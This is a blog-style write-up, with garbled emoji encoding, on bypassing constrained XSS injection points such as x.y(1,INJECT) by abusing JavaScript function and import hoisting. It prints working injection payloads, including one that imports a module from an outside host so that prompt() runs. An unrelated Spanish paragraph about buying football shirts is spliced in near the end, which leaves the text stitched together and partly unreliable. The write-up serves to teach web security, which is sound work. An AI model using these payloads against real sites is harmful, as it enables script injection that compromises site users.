XSS Exception Bypass using Hoisting ๐Ÿง™โ€โ™‚๏ธ

JavaScript์˜ hoisting ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ™œ์šฉํ•˜์—ฌ x.y(1,INJECT) ํ˜•ํƒœ์˜ ์ œํ•œ๋œ XSS ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ธฐ๋ฒ•์„ ์†Œ๊ฐœํ•ฉ๋‹ˆ๋‹ค.

XSS Exception Bypass using Hoisting ๐Ÿง™โ€โ™‚๏ธ
Switzerland of Jan, 2023๐Ÿ‡จ๐Ÿ‡ญ

Recently, I stumbled upon some intriguing XSS tricks on Twitter and couldn't resist sharing my solutions. Let's dive into a fascinating XSS challenge and explore how we can outsmart it with JavaScript's hoisting mechanism.

Justin Gardner's Tweet

The Challenge

Imagine this code snippet: x.y(1,INJECT);. Looks simple, right? But here's the catch - neither x nor y are defined. It's a classic scenario in XSS where you're confined to a function call but can't exit the script tag. The trick? Using JavaScript's hoisting to our advantage.


Hoisting to the Rescue

In JavaScript, hoisting is this cool feature where the interpreter seems to move function and variable declarations to the top of their scope before the code executes. It's like having a backstage pass in a concert - you get to access things before they're officially declared!

So, when we encounter x.y(), we hit a roadblock because x is undefined.

Uncaught ReferenceError

The solution? Declare x before its use, like this:

x.y(1,

// INJECTED START
prompt());
function x () {}
(
// INJECTED END
);

This way, the function declaration of x gets hoisted, allowing the code to execute without a hitch. The undefined result from x.y doesn't really matter; what's important is that our injected code runs successfully.

Like this!

Leveling Up the Challenge

But wait, there's more! Another variant of the challenge uses x.y.z("test-INJECT").

Johan Carlsson's Tweet

This is trickier because it throws a 'TypeError' since x.y is undefined. But fear not, we can solve this too:

x.y.z("test-"+prompt(document.domain));import x from "https://example.com/a.js";alert("")

And the below is the content of https://example.com/a.js.

var x = {y: {z: 1}};
export default x;
a.js
pwned!

Trivial

Import declarations are hoisted. In this case, it means that the imported values are available in the module's code even before the place that declares them, and that the imported module's side effects are produced before the rest of the module's code starts running.

You can read this here โฌ‡๏ธ

The Takeaway

Playing around with these challenges has been a great learning experience. It's fascinating how understanding JavaScript's nuances, like hoisting, can help us find creative solutions to complex problems. I hope you found this exploration as intriguing as I did!

La elecciรณn de camisetas clรกsicas de fรบtbol mejora al comparar la temporada, el diseรฑo y los detalles histรณricos. El pedido puede cerrarse despuรฉs de confirmar el estado indicado y la claridad de las fotografรญas.

Happy coding! ๐Ÿ˜„

Johan Carlsson's official write-up